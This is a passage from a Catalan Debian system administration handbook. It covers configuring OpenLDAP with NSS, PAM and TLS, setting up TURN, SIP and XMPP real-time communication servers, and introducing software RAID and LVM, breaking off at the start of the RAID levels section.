Les dades LDAP estan estructurades i jerarquitzades. L'estructura està definida per “esquemes” que descriuen el tipus d'objectes que la base de dades pot emmagatzemar, amb una llista de tots els seus possibles atributs. La sintaxi utilitzada per referir-se a un objecte particular en la base de dades es basa en aquesta estructura, que explica la seva complexitat.

11.7.1. Instal·lació

El paquet slapd conté el servidor OpenLDAP. El paquet ldap-utils inclou eines de línia d'ordres per interaccionar amb servidors LDAP.

La instal·lació d'slapd sol demanar només la contrasenya de l'administrador i la base de dades resultant és improbable que s'adapti a les necessitats. Afortunadament, un senzill dpkg-reconfigure slapd us permetrà reconfigurar la base de dades LDAP amb més detall:

Ometre la configuració del servidor OpenLDAP? No, per descomptat, es vol configurar aquest servei.

Nom de domini DNS: “falcot.com”.

Nom de l'organizació: “Falcot Corp”.

Cal introduir una contrasenya administrativa.

Base de dades a usar: “MDB”.

Voleu que la base de dades s'elimini quan es purgui slapd? No. No té sentit arriscar-se a perdre la base de dades en cas d'un error.

Voleu moure la base de dades antiga? Aquesta pregunta només es fa quan s'intenta la configuració al temps que ja existeix una base de dades. Només responeu “sí” si de fet voleu tornar a començar des d'una base de dades neta, per exemple si executeu dpkg-reconfigure slapd just després de la instal·lació inicial.

TORNAR A LES BASES Format LDIF

Un fitxer LDIF (LDAP Data Interchange Format o “format d'intercanvi de dades LDAP”) és un fitxer de text portable que descriu el contingut d'una base de dades LDAP (o una part d'ella); això es pot utilitzar per injectar dades a qualsevol altre servidor LDAP.

Ara es disposa d'una base de dades mínima configurada, com ho demostra la següent consulta:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1

La consulta retorna dos objectes: l'organització en si i l'usuari administratiu.

11.7.2. Emplenar el directori

Atès que una base de dades buida no és especialment útil, li injectarem tots els directoris existents; això inclou les bases de dades d'usuaris, grups, serveis i servidors.

El paquet migrationtools proporciona un conjunt d'scripts dedicats a l'extracció de dades dels directoris estàndard d'Unix (/etc/passwd,/etc/group,/etc/services,/etc/hosts i així successivament), converteix aquestes dades i les injecta a la base de dades LDAP.

Una vegada instal·lat el paquet, s'ha d'editar el fitxer /etc/migrationtools/migrate_common.ph; les opcions IGNORE_UID_BELOW i IGNORE_GID_BELOW han d'estar habilitades (el fet de descomentar-les és suficient), i DEFAULT_MAIL_DOMAIN/DEFAULT_BASE ha de ser actualitzat.

L'operació de migració real és gestionada per l'ordre migrate_all_online.sh de la següent manera:

# cd /usr/share/migrationtools # PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh fa algunes preguntes sobre la base de dades LDAP a la qual s'han de migrar les dades. Taula 11.1 resumeix les respostes donades en el cas d'ús de Falcot.

Taula 11.1. Respostes a les preguntes plantejades per l'script migrate_all_online.sh

Pregunta | Resposta
Context de noms X.500 | dc=falcot,dc=com
Nom del servidor LDAP | localhost
Administrador del DN | cn=admin,dc=falcot,dc=com
Credencials de vinculació | la contrasenya administrativa
Crear DUAConfigProfile | no

Us deveu haver adonat que s'amplia la variable PERL5LIB. Això és degut a l'informe d'error Debian #982666.

→ https://bugs.debian.org/982666

Potser també us heu fixat que ignorem deliberadament la migració del fitxer /etc/aliases, ja que l'esquema estàndard proporcionat per Debian no inclou les estructures que aquest script utilitza per descriure àlies de correu electrònic. Si volem integrar aquestes dades al directori, el fitxer /etc/ldap/schema/misc.schema s'hauria d'afegir a l'esquema estàndard.

EINA Navegació per un directori LDAP

L'ordre jxplorer (al paquet del mateix nom) és una eina gràfica que permet navegar i editar una base de dades LDAP. És una eina interessant que proporciona a un administrador una bona visió general de l'estructura jeràrquica de les dades LDAP.

Adoneu-vos-en també de l'ús de l'opció -c a l'ordre ldapadd; aquesta opció demana que el processament no s'aturi en cas d'error. Usar aquesta opció és necessari perquè la conversió dels /etc/services sovint genera alguns errors que es poden ignorar sense problemes.

11.7.3. Gestió de comptes amb LDAP

Ara que la base de dades LDAP conté informació útil, ha arribat el moment d'utilitzar aquestes dades. Aquesta secció se centra en com configurar un sistema Linux de manera que els diversos directoris del sistema utilitzin la base de dades LDAP.

11.7.3.1. Configuració del NSS

El sistema NSS (“Seleccionador del Servei de Noms” o «Name Service Switch», vegeu la barra lateral ANANT MÉS ENLLÀ NSS i les bases de dades de sistema) és un sistema modular dissenyat per definir o recuperar informació per als directoris del sistema. L'ús de LDAP com a font de dades per a NSS requereix la instal·lació del paquet libnss-ldap. La instal·lació d'aquest paquet fa algunes preguntes; les respostes es resumeixen a Taula 11.2.

Taula 11.2. Configurar el paquet libnss-ldap:

Pregunta | Resposta
URI (Identificador de recurs uniforme) del servidor LDAP | ldapi://ldap.falcot.com
Nom distingit de la base de cerca | dc=falcot,dc=com
Versió LDAP a utilitzar | 3
Compte LDAP per a l'usuari «root» | cn=admin,dc=falcot,dc=com
Contrasenya del compte de l'usuari «root» d'LDAP | la contrasenya administrativa
Permetre que el compte d'administrador LDAP es comporti com a superusuari local? | sí
La base de dades LDAP requereix iniciar una sessió? | no

El fitxer /etc/nsswitch.conf a continuació s'ha de modificar, per tal de configurar l'NSS per utilitzar el mòdul ldap recentment instal·lat. Podeu utilitzar l'exemple proporcionat a /usr/share/doc/libnss-ldap/examples/nsswitch.ldap o editar la configuració existent.

Exemple 11.23. El fitxer /etc/nssswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

El mòdul ldap s'insereix normalment abans que d'altres, i per tant es consultarà primer. La notable excepció és el servei hosts ja que el contacte amb el servidor LDAP requereix consultar abans el DNS (per resoldre ldap.falcot.com). Sense aquesta excepció, una consulta del nom d'un servidor intentaria preguntar al servidor LDAP; això desencadenaria una resolució de nom per al servidor LDAP, i així successivament en un bucle infinit.

Si el servidor LDAP s'ha de considerar autoritatiu (i els fitxers locals utilitzats pel mòdul files siguin ignorats), els serveis es poden configurar amb la següent sintaxi:

servei: ldap [NOTFOUND=return] files.

Si l'entrada sol·licitada no existeix a la base de dades LDAP, la consulta retornarà una resposta «no existent» encara que el recurs existeixi en un dels fitxers locals; aquests fitxers locals només s'utilitzaran quan el servei LDAP estigui caigut.

11.7.3.2. Configuració del PAM

Aquesta secció descriu una configuració del PAM (vegeu la barra lateral ENTRE BASTIDORS/etc/environment i /etc/default/locale) que permetrà a les aplicacions realitzar les autenticacions necessàries contra la base de dades LDAP.

COMPTE Autenticació trencada

Canviar la configuració estàndard del PAM utilitzada per diversos programes és una operació sensible. Un error pot portar a una autenticació trencada, la qual cosa podria impedir noves sessions. Per tant, mantenir oberta un intèrpret de comandes com a superusuari és una bona precaució. Si es produeixen errors de configuració, es poden corregir i els serveis es reinicien amb un esforç mínim.

El mòdul LDAP per al PAM és proporcionat pel paquet libpam-ldap. La instal·lació d'aquest paquet fa algunes preguntes molt similars a les de libnss-ldap; alguns paràmetres de configuració (com ara l'URI del servidor LDAP) són fins i tot realment compartits amb el paquet libnss-ldap. Les respostes es resumeixen a Taula 11.3.

Taula 11.3. Configuració de libpam-ldap

Pregunta | Resposta
Permet que el compte d'administrador LDAP es comporti com a superusuari local? | Sí. Això permet utilitzar l'ordre habitual passwd per canviar les contrasenyes desades a la base de dades LDAP.
La base de dades LDAP requereix iniciar sessió? | no
Compte LDAP per a l'usuari «root»: | cn=admin,dc=falcot,dc=com
Contrasenya administrativa LDAP: | la contrasenya d'administració de la base de dades LDAP
Algorisme d'encriptació local a usar per a contrasenyes: | crypt
Perfils PAM per activar: | L'autenticació LDAP està entre els perfils activats

La instal·lació de libpam-ldap adapta automàticament la configuració predeterminada del PAM definida als fitxers /etc/pam.d/common-auth, /etc/pam.d/common-password i /etc/pam.d/common-account. Aquest mecanisme utilitza l'eina dedicada pam-auth-update (proveïda pel paquet libpam-runtime). L'administrador també pot executar aquesta eina si desitja activar o desactivar mòduls PAM.

11.7.3.3. Protegir els intercanvis de dades LDAP

Per defecte, el protocol LDAP es transmet per la xarxa com a text clar; això inclou les contrasenyes (encriptades). Com que les contrasenyes encriptades es poden extreure de la xarxa, poden ser vulnerables als atacs de tipus diccionari. Això es pot evitar utilitzant una capa de xifratge addicional; habilitar aquesta capa és el tema d'aquesta secció.

11.7.3.3.1. Configuració del servidor

El primer pas és crear un parell de claus (que comprèn una clau pública i una clau privada) per al servidor LDAP. Els administradors de Falcot tornen a usar easy-rsa per generar-la (vegeu Secció 10.2.2, «Infraestructura de clau pública: easy-rsa»). Executant ./easyrsa build-server-full ldap.falcot.com nopass us preguntarà el “nom comú” o «common name» en anglès. La resposta a aquesta pregunta ha de ser el nom d'amfitrió completament qualificat del servidor LDAP; en el nostre cas, ldap.falcot.com.

Aquesta ordre crea un certificat al fitxer pki/issued/ldap.falcot.com.crt; la corresponent clau privada s'emmagatzema a pki/private/ldap.falcot.com.key.

Ara aquestes claus s'han d'instal·lar en la seva ubicació estàndard, i hem d'assegurar-nos que el fitxer privat sigui llegible pel servidor LDAP que s'executa sota la identitat d'usuari openldap:

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem # chown root.root /etc/ssl/certs/ldap.falcot.com.pem # chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

Al dimoni slapd també se li ha de dir que utilitzi aquestes claus per a l'encriptació. La configuració del servidor LDAP es gestiona dinàmicament: la configuració es pot actualitzar amb operacions LDAP normals en la jerarquia d'objectes cn=config, i el servidor actualitza /etc/ldap/slapd.d en temps real per fer que la configuració sigui persistent. ldapmodify és per tant l'eina correcta per actualitzar la configuració:

Exemple 11.24. Configuració d'slapd per al xifratge

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" # systemctl restart slapd.service # ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

EINA ldapvi per a editar un directori LDAP

Amb ldapvi es pot mostrar una sortida LDIF de qualsevol part del directori LDAP, fer alguns canvis a l'editor de text, i permetre que l'eina faci les operacions LDAP corresponents.

Per tant, és una manera convenient d'actualitzar la configuració del servidor LDAP, simplement editant la jerarquia cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

L'últim pas per habilitar el xifrat implica canviar la variable SLAPD_SERVICES del fitxer /etc/default/slapd. No ens la jugarem i inhabilitarem completament l'LDAP no segur.

Exemple 11.25. El fitxer /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. Configuració del client

A la banda del client, la configuració per al mòdul libpam-ldap i libnss-ldap necessita ser modificada per utilitzar un URI ldaps://.

Els clients LDAP també han de ser capaços d'autenticar el servidor. En una infraestructura de clau pública X.509, els certificats públics estan signats per la clau d'una autoritat de certificació (CA). Amb easy-rsa, els administradors de Falcot han creat la seva pròpia CA i ara han de configurar el sistema per confiar en les signatures de la CA de Falcot. Això es pot fer posant el certificat de CA a /usr/local/share/ca-certificates i executant update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... Adding debian:falcot.pem done. done.

Finalment però no menys important, l'URI LDAP per defecte i la base DN utilitzada per les diverses eines de la línia d'ordres es poden modificar a /etc/ldap/ldap.conf. Això estalviarà teclejar una mica.

Exemple 11.26. El fitxer /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-provider.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Serveis de comunicació en temps real

Els serveis de comunicació en temps real (RTC és l'acrònim en anglès) inclouen la veu, vídeo/webcam, la missatgeria instantània (IM) i la compartició de l'escriptori. Aquest capítol ofereix una breu introducció a tres dels serveis necessaris per operar RTC, incloent un servidor TURN, un servidor SIP i un servidor XMPP. Els detalls globals de com planificar, instal·lar i gestionar aquests serveis estan disponibles a la Real-Time Communications Quick Start Guide que inclou exemples específics per a Debian.

→ https://rtcquickstart.org

Tant SIP com XMPP poden proporcionar la mateixa funcionalitat. El SIP és una mica més conegut per a veu i vídeo, mentre que el XMPP es considera tradicionalment un protocol IM (missatgeria instantània). De fet, tots dos es poden utilitzar per a qualsevol d'aquests propòsits. Per maximitzar les opcions de connectivitat, es recomana executar ambdues en paral·lel.

Aquests serveis es basen en certificats X.509 tant per a l'autenticació com per a la confidencialitat. Vegeu Secció 10.2, «Certificats X.509» per a més informació.

11.8.1. Paràmetres del DNS per als serveis RTC

Els serveis RTC requereixen registres DNS SRV i NAPTR. Una configuració de mostra que es pot col·locar en el fitxer de zona per falcot.com (vegeu també Exemple 10.13, «Extracte de /etc/bind/db.falcot.com»):

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. Servidor TURN

TURN és un servei que ajuda els clients darrere els encaminadors NAT i els tallafocs a descobrir la manera més eficient de comunicar-se amb altres clients i transmetre els fluxos de dades si no es pot trobar cap camí directe. Es recomana instal·lar el servidor TURN abans que qualsevol dels altres serveis RTC s'ofereixi als usuaris finals.

TURN i el protocol ICE relacionat són estàndards oberts. Per beneficiar-se d'aquests protocols, maximitzant la connectivitat i minimitzant la frustració de l'usuari, és important assegurar que tot el programari del client suporten ICE i TURN.

Perquè l'algorisme ICE funcioni eficaçment, el servidor ha de tenir dues adreces públiques IPv4.

Instal·leu el paquet coturn i editeu el fitxer de configuració /etc/turnserver.conf. Per defecte, una base de dades SQLite està configurada a /var/db/turndb per a la configuració del comptes d'usuari, però PostgreSQL, MySQL o Redis es poden configurar si així es prefereix. El més important és inserir les adreces IP del servidor.

El servidor es pot iniciar executant turnserver del paquet coturn. Volem que el servidor sigui un servei de sistema iniciat automàticament. Aquest és el funcionament per defecte usant systemd. Només quan s'usa l'antic SysVinit cal editar el fitxer /etc/default/coturn així:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

Per defecte, el servidor TURN utilitza accés anònim. Hem d'afegir els usuaris que volem utilitzar:

# turnadmin -a -u roland -p clau_secreta -r falcot.com # turnadmin -A -u admin -p clau_secreta

Usem l'argument -a per afegir un usuari normal i -A per afegir un usuari administrador.

11.8.3. Servidor Proxy SIP

Un servidor intermediari («proxy») SIP gestiona les connexions SIP entrants i sortints entre altres organitzacions, proveïdors d'enllaços SIP, centraletes privades (SIP PBX) com Asterisk, telèfons SIP, programari de telefonia basat en SIP i aplicacions WebRTC.

Es recomana instal·lar i configurar el servidor intermediari SIP abans d'intentar la configuració d'una centraleta (SIP PBX). El servidor intermediari SIP normalitza una gran part del trànsit que arriba a la PBX i proporciona una major connectivitat i resiliència.

11.8.3.1. Instal·lació del servidor intermediari SIP

Instal·leu el paquet kamailio i el paquet per al «backend» de la base de dades. Els administradors de Falcot han triat MySQL, de manera que instal·len kamailio-mysql-modules i mariadb-server. /etc/kamailio/kamctlrc és el fitxer de configuració per a les eines de control kamctl i kamdbctl. Cal editar i establir el SIP_DOMAIN al vostre domini de servei SIP i establir el DBENGINE a MySQL. Es pot utilitzar un altre «backend» de base de dades.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Ara ens centrem en el fitxer de configuració /etc/kamailio/kamailio.cfg. Falcot necessita l'autenticació de l'usuari i la ubicació persistent de l'usuari, així que afegeixen les següents directives #!define a la part superior d'aquest fitxer:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio necessita una estructura de base de dades que puguem crear executant kamdbctl creant com a superusuari. Finalment, podem afegir alguns usuaris amb kamctl.

# kamdbctl create [...] # kamctl add roland secret_password

Un cop tot està ben configurat podeu iniciar o reiniciar el servei amb systemctl restart kamailio, podeu connectar amb un client SIP proporcionant l'adreça IP i el port (5090 és el port per defecte). Els usuaris tenen el següent identificador: roland )sip.falcot.com, i poden connectar-se utilitzant un client (vegeu Secció 13.9, «Programari de comunicacions en temps real»).

11.8.4. Servidor XMPP

Un servidor XMPP gestiona la connectivitat entre usuaris locals XMPP i usuaris XMPP en altres dominis de la Internet pública.

VOCABULARI XMPP o Jabber?

L'XMPP és de vegades referit com a Jabber. De fet, Jabber és una marca comercial i XMPP és el nom oficial de l'estàndard.

prosody és un popular servidor XMPP que opera de manera fiable en servidors Debian.

11.8.4.1. Instal·lació del servidor XMPP

Instal·leu el paquet prosody.

Reviseu el fitxer de configuració /etc/prosody/prosody.cfg.lua. El més important és inserir els JID dels usuaris als quals es permet gestionar el servidor.

admins = { "joe@falcot.com" }

També es necessita un fitxer de configuració individual per a cada domini. Copieu la mostra de /etc/prosody/conf.avail/example.com.cfg.lua i utilitzeu-la com a punt d'inici. Aquí teniu falcot.com.cfg.lua:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com.key"; certificate = "/etc/ssl/certs/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

Per activar el domini, ha d'haver-hi un enllaç simbòlic de /etc/prosody/conf.d/. Creeu-lo així:

. ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Reinicieu el servei per utilitzar la configuració nova.

11.8.4.2. Gestió del servidor XMPP

Algunes operacions de gestió es poden realitzar usant la utilitat de línia d'ordres prosodyctl. Per exemple, per afegir el compte d'administrador especificat a /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

Vegeu la documentació en línia de Prosody per a més detalls sobre com personalitzar la configuració.

11.8.5. Serveis en execució al port 443

Alguns administradors prefereixen executar tots els seus serveis RTC al port 443. Això ajuda els usuaris a connectar-se des d'ubicacions remotes com ara hotels i aeroports on altres ports poden estar bloquejats o on el trànsit d'Internet s'encamina a través de servidors intermediaris HTTP.

Per utilitzar aquesta estratègia, cada servei (SIP, XMPP i TURN) necessita una adreça IP diferent. Tots els serveis encara poden estar en el mateix amfitrió ja que Linux admet múltiples adreces IP en un sol amfitrió. El número de port, 443, s'ha d'especificar en els fitxers de configuració per a cada procés i també en els registres SRV del DNS.

11.8.6. Afegir WebRTC

Falcot vol permetre que els clients facin trucades telefòniques directament des del lloc web. Els administradors de Falcot també volen utilitzar WebRTC com a part del seu pla de recuperació de desastres, de manera que el personal pot utilitzar navegadors web a casa per accedir al sistema de telefonia de l'empresa i treballar normalment en una emergència.

A LA PRÁCTICA Proveu WebRTC

Si abans no s'ha provat WebRTC, hi ha diversos llocs que ofereixen una demostració i proves en línia.

→ https://sip5060.net/test-calls

WebRTC és una tecnologia que evoluciona ràpidament i és essencial utilitzar paquets de la distribució Testing. Una altra opció és compilar el programari.

WebRTC utilitza una API senzilla per proporcionar navegadors i aplicacions mòbils amb RTC, és programari lliure i està sent desenvolupat per Google.

→ https://webrtc.org

Un enfocament molt flexible és utilitzar la implementació WebRTC de GStreamer. Permet aplicacions multimèdia basades en canonades, fet que permet desenvolupar aplicacions interessants i altament eficients. Un bon punt de partida és la següent demostració de Centricular, la principal empresa que l'està desenvolupant:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

Llocs web més avançats de tipus “clica-i-truca” solen utilitzar scripts al costat del servidor per generar el fitxer config.js dinàmicament. El codi font de DruCall demostra com fer-ho amb PHP.

Aquest capítol mostrava només una fracció del programari del servidor disponible; no obstant això, s'hi han descrit la majoria dels serveis de xarxa més comuns. Ara és el moment d'un capítol encara més tècnic: entrarem en més detall per a alguns conceptes, descriurem desplegaments massius i virtualització.

Capítol 12. Administració avançada

Aquest capítol revisa alguns aspectes que ja hem descrit, amb una perspectiva diferent: en lloc d'instal·lar un sol ordinador, estudiarem els sistemes de desplegament massiu; en lloc de crear volums RAID o LVM en el moment de la instal·lació, aprendrem a fer-ho a mà perquè puguem revisar més endavant les nostres opcions inicials. Finalment, parlarem de les eines de monitorització i de les tècniques de virtualització. Com a conseqüència, aquest capítol està dirigit més especialment als administradors professionals, i se centra una mica menys en les persones responsables de la seva xarxa domèstica.

12.1. RAID i LVM

A Capítol 4, Instal·lació es van presentar aquestes tecnologies des del punt de vista de l'instal·lador, i com les va integrar per facilitar el seu desplegament des del principi. Després de la instal·lació inicial, un administrador ha de ser capaç de gestionar les necessitats d'emmagatzematge en evolució sense haver de recórrer a una reinstal·lació costosa. Per tant, s'han d'entendre les eines necessàries per a manipular els volums RAID i LVM.

RAID i LVM són dues tècniques per abstraure els volums muntats dels dispositius físics (unitats de disc dur o particions); el primer assegura la seguretat i la disponibilitat de les dades en cas d'una fallada del maquinari mitjançant la introducció de redundància, mentre que el segon fa que la gestió del volum sigui més flexible i independent de la mida real dels discs subjacents. En tots dos casos, el sistema acaba amb nous dispositius de blocs, que es poden utilitzar per crear sistemes de fitxers o espai d'intercanvi, sense necessàriament tenir-los mapejats a un disc físic. RAID i LVM provenen d'orígens diferents, però la seva funcionalitat pot solapar-se una mica, i per això sovint s'esmenten junts.

PERSPECTIVA Btrfs combina LVM i RAID

Mentre que LVM i RAID són dos subsistemes del nucli diferents que es troben entre els dispositius de blocs de disc i els seus sistemes de fitxers, btrfs és un sistema de fitxers, inicialment desenvolupat a Oracle, que pretén combinar els conjunts de característiques de LVM i RAID i molt més.

→ https://btrfs.wiki.kernel.org/

Entre les característiques destacades hi ha la capacitat de prendre una instantània d'un arbre del sistema de fitxers en qualsevol moment. Aquesta còpia instantània no utilitza inicialment cap espai de disc, les dades només es dupliquen quan es modifica una de les còpies. El sistema de fitxers també gestiona transparentment la compressió dels fitxers, i les sumes de verificació garanteixen la integritat de totes les dades emmagatzemades.

En els casos de RAID i LVM, el nucli proporciona un fitxer de dispositiu de blocs, similar als que corresponen a un disc dur o una partició. Quan una aplicació, o una altra part del nucli, requereix accés a un bloc d'aquest dispositiu, el subsistema apropiat dirigeix el bloc a la capa física pertinent. Depenent de la configuració, aquest bloc es pot emmagatzemar en un o diversos discos físics, i la seva ubicació física pot no estar directament relacionada amb la ubicació del bloc en el dispositiu lògic.

12.1.1. RAID per software

RAID vol dir «Redundant Array of Independent Disks» o “conjunt redundant de discos independents”. L'objectiu d'aquest sistema és prevenir la pèrdua de dades i assegurar la disponibilitat en cas d'una fallada en un disc dur. El principi general és bastant simple: les dades s'emmagatzemen en diversos discs físics en lloc de només en un, amb un nivell de redundància configurable. Depenent d'aquesta quantitat de redundància, i fins i tot en cas d'una fallada inesperada del disc, les dades es poden reconstruir sense pèrdues a partir dels discos restants.

CULTURA Independent o barat?

La lletra “I” de RAID inicialment era de «inexpensive» (en anglès, barat), perquè RAID va permetre un augment dràstic en la seguretat de les dades sense requerir la inversió en costosos discos d'alta gamma. Probablement a causa de les preocupacions per la imatge, ara es considera més habitual que sigui de independent, que no té la desagradable connotació de barat.

El RAID es pot implementar amb maquinari dedicat (mòduls RAID integrats en targetes de controlador SCSI o SATA) o amb abstracció de programari (el nucli). Ja sigui via maquinari o via programari, un sistema RAID amb prou redundància pot romandre operatiu quan un disc falla; les capes superiors de la pila (les aplicacions) poden fins i tot seguir accedint a les dades malgrat la fallada. Per descomptat, aquest “mode degradat” pot tenir un impacte en el rendiment, i la redundància es redueix, de manera que una altra fallada en el disc pot provocar la pèrdua de dades. A la pràctica, per tant, hom hauria d'esforçar-se per mantenir-se només en aquest mode degradat el que es trigui a substituir el disc espatllat. Un cop el nou disc és a lloc, el sistema RAID pot reconstruir les dades necessàries per tornar a un mode segur. Les aplicacions no notaran res, a part d'una potencial reducció de la velocitat d'accés, mentre el sistema està en mode degradat o durant la fase de reconstrucció.

Quan el RAID és implementat per maquinari, la seva configuració generalment es dóna dins de l'eina de configuració a la BIOS, i el nucli considerarà un conjunt RAID com un sol disc, que funcionarà com un disc físic estàndard, encara que el nom del dispositiu pot ser diferent (depenent del controlador).

Només ens centrarem en el RAID de programari en aquest llibre.

12.1.1.1. Diferents nivells de RAID

El RAID no és en realitat un sol sistema, sinó una sèrie de sistemes identificats pels seus nivells; els nivells difereixen pel seu disseny i la quantitat de redundància que proporcionen. Com més redundància, més a prova de fallades serà, ja que el sistema podrà continuar treballant amb més discs espatllats. La contrapartida és que, per a un conjunt donat de discos, l'espai utilitzable es redueix; vist a l'inrevés, es necessitaran més discos per emmagatzemar una quantitat donada de dades.

RAID lineal

